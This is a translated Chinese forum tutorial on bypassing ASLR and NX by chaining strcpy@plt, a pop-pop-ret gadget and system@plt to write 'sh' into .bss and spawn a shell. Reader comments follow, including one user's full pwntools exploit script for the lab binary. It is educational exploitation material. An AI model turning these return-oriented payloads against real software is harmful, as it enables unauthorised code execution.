首页
社区
课程
招聘
[翻译]绕过 ASLR + NX 第一部分
2018-5-9 15:14 6805

[翻译]绕过 ASLR + NX 第一部分

2018-5-9 15:14
6805

绕过 ASLR + NX 第一部分

图片描述

 

在这篇文章中,我会谈谈如何绕过ASLRNX缓解技术。如果你从来没有接触过这两个概念的话,可以参见维基百科上对ASLRNX的解释。

 

ASLR: 地址空间布局随机化:一种通过使得内存空间地址随机化从而防止利用内存的缓解技术。当我们遇到基本的缓冲区溢出时,需要控制EIP重定向到我们的shellcode,但是使用这个措施后,很难预测到缓冲区的开始位置。并且,在堆、栈地址中都使用了ASLR缓解措施。

 

NX: 不可执行, 另一种缓解措施,以防止内存执行任何机器代码(shellcode)。正如我们在基本缓冲区溢出中看到的那样,将shellcode放入堆栈中并将EIP重定向到缓冲区开始执行,但是开启NX后,就无效了。 但是,可以通过Ret2libc技术绕过NX。 通过文件内部或者 共享库,寻找gadgets,然后组合在一起,以此来绕过NX,也称为 ROP-- 返回导向编程,我会在另一篇文章中谈论这个话题。

 

在我们了解了 ASLRNX 的基本信息后,来看下如何绕过。有许多方法绕过ASLR,比如说Ret2PLT 使用了 过程链接表(Procedural Linkage Table ),表中包含全局函数的存根(stub)代码。.text 段中的call 指令并不直接调用函数,而是先调用位于PLT表中的存根函数(func@PLT),使用 Ret2PLT 的原因就在于 在执行前它的地址并没有被随机化。 另一种技术是覆盖GOT表,当只有2个或者3个字节随机化的时候,暴力破解出来。

 

在这篇文章中,我将解释一下Ret2plt和一些ROP gadgetsRet2libc 这些技术,首先来看Ret2PLT:

 

有漏洞的代码:

 

图片描述
用下面的选项编译:

 

图片描述
检查一下系统是否开启了ASLR

 

图片描述

 

正如上面图片中所显示的,libc 的地址被随机化,但是可以被爆破出来。

 

现在用gdb打开文件:

 

图片描述

 

可以看到程序已经开启了NX选项,通过pattern 字符串确定一下溢出的准确位置:

 

图片描述

 

通过下面的命令,找到偏移地址:

 

图片描述
1028个字节就可以覆盖到EBP,再加4个字节,控制EIP后就可以跳转到想要的位置。

 

图片描述

 

现在可以看到我们已经控制了EIP,在这之后我们要想办法绕过ASLR + NX,首先找到PLT表函数:
图片描述

 

在这里,我们看到了strcpysystem plt两个函数,然后根据下面的方法来编写利用。
我们需要先找到文件中可写的节,然后像在传统的Ret2libc方法中那样调用system

 

图片描述

 

首先在考虑下.bss段,编译器和链接器在数据段中用这部分来存放未初始化的静态分配变量。

 

之后,我们将使用strcpy.bss段中写入字符串,但是地址是什么呢?

 

我们需要在plt表中,找到strcpy函数,复制字符串,然后通过调用system函数执行命令。但是在这之前,先要找到/bin/sh字符串。

 

图片描述

 

现在我们得到了字符串的地址,把所有找到的部分组合起来。

 

1- 使用strcpy函数,将字符串从源端复制到目的端,复制到可写的.bss段。我们需要把strcpy函数和system函数连接起来,在这儿我们要找一些gadgets-- pop pop ret

 

图片描述

 

我们选择了0x080484ba这个地址,具体弹出哪个寄存器不是重点,关键在于两次的 pop操作。

 

2- 我们使用 system 函数,写入字符串,就和Ret2libc 所做的一样。在这里的话,/bin/sh 字符串的地址就是 .bss 段的 地址。

最终的payload

strcpy + ppr + .bss + s
strcpy + ppr + .bss + 1 + h
system + dump+ .bss

最终的利用

图片描述
最终,我们获得了shell 权限! 在大多数情况下,你需要结合多种技术来绕过一系列的缓解技术。

 

原文链接

 

编译:看雪翻译小组 fyb波

 

校对:看雪翻译小组 欢歌笑语


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-2-1 13:20 被kanxue编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (12)
雪    币: 205
活跃值: (2624)
能力值: ( LV7,RANK:140 )
在线值:
发帖
回帖
粉丝
yeyeshun 2 2018-5-9 16:25
2
0
图挂了,原始链接也访问不了,也许我上网方式不科学
最后于 2018-5-9 16:25 被yeyeshun编辑 ,原因:
雪    币: 184
活跃值: (161)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
luobobo 2018-5-9 16:31
3
0
翻译小组还招人吗?
最后于 2018-5-9 16:31 被luobobo编辑 ,原因:
雪    币: 2063
活跃值: (1752)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
陈林00007 2018-5-9 17:04
4
0
怎么科学上网
雪    币: 1795
活跃值: (63)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
myangel 2018-5-9 17:11
5
0
图挂了。。
雪    币: 3302
活跃值: (1144)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
fyb波 1 2018-5-9 18:14
6
0
没有吧,我这里显示  没有问题啊
雪    币: 3302
活跃值: (1144)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
fyb波 1 2018-5-9 18:15
7
0
luobobo 翻译小组还招人吗?
招人,欢迎加入呀
雪    币: 13812
活跃值: (1210)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
严启真 2018-5-27 19:37
8
0
学习了啊
雪    币: 259
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
我的熊猫 2018-5-30 10:25
9
0
楼主能说一下实验环境么,我在实验时,在gdb-peda下面运行r  $(cat  fuzz)时出现[infeior...  exit  normally]这种问题,运行不起来程序,能请教下是什么原因么,
雪    币: 3302
活跃值: (1144)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
fyb波 1 2018-6-1 18:28
10
0
我的熊猫 楼主能说一下实验环境么,我在实验时,在gdb-peda下面运行r $(cat fuzz)时出现[infeior... exit normally]这种问题,运行不起来程序,能请教下是什么原因么,
就是    复制  字符串溢出覆盖了返回地址,有什么问题么
雪    币: 259
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
我的熊猫 2018-6-1 20:08
11
0
fyb波 就是 复制 字符串溢出覆盖了返回地址,有什么问题么
这个我没什么问题,就是在实践时候,我看到上面是运行了r  $(cat  fuzz)之后程序运行起来了,出现了各种寄存器的值,能进行分析,我在进行时运行之后程序运行不起来,只有一行提示程序退出。。,不知道怎么回事。。
雪    币: 142
活跃值: (362)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
富强民主和谐 2018-6-12 19:05
12
0
图墙内加载不出来阿楼主
雪    币: 12
活跃值: (10)
能力值: ( LV4,RANK:52 )
在线值:
发帖
回帖
粉丝
handsomedog 2018-8-22 22:10
13
0
求助,我在实验时不可行,调试了好多遍不知道哪里出了问题,这是我使用ida打开编译好的程序。

根据上图,需要0x408 bytes 来进行填充

接下里在gdb中找到这两个函数plt地址
strcpy@plt 0x80482e0
system@plt 0x80482f0


找到.bss段地址   0x080497a8


找到ppr地址  0x0804850a


找到sh地址


您看到这里,很谢谢您。

当我编写和一直的exp.py时却不能成功,希望能给我些意见,提前感谢。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from os import system

#system@plt 0x80482f0
#strcpy@plt 0x80482e0
#.bss 0x080497a8
#ppr 0x0804850a
#s 0x08048142
#h 0x080482e6
payload = "A"*0x40C
payload += p32(0x080482e0)#strcpy
payload += p32(0x0804850a)#ppr
payload += p32(0x080497a8)#.bss
payload += p32(0x08048142)#s

payload += p32(0x080482e0)#strcpy
payload += p32(0x0804850a)#ppr
payload += p32(0x080497a9)#.bss+1
payload += p32(0x080482e6)#h

payload += p32(0x80482f0)#system
payload += "AAAA"
payload += p32(0x080497a8)#.bss

system("./pwn %s"%payload)



最后于 2018-8-22 22:23 被handsomedog编辑 ,原因:
上传的附件:
  • pwn (7.30kb,3次下载)
游客
登录 | 注册 方可回帖
返回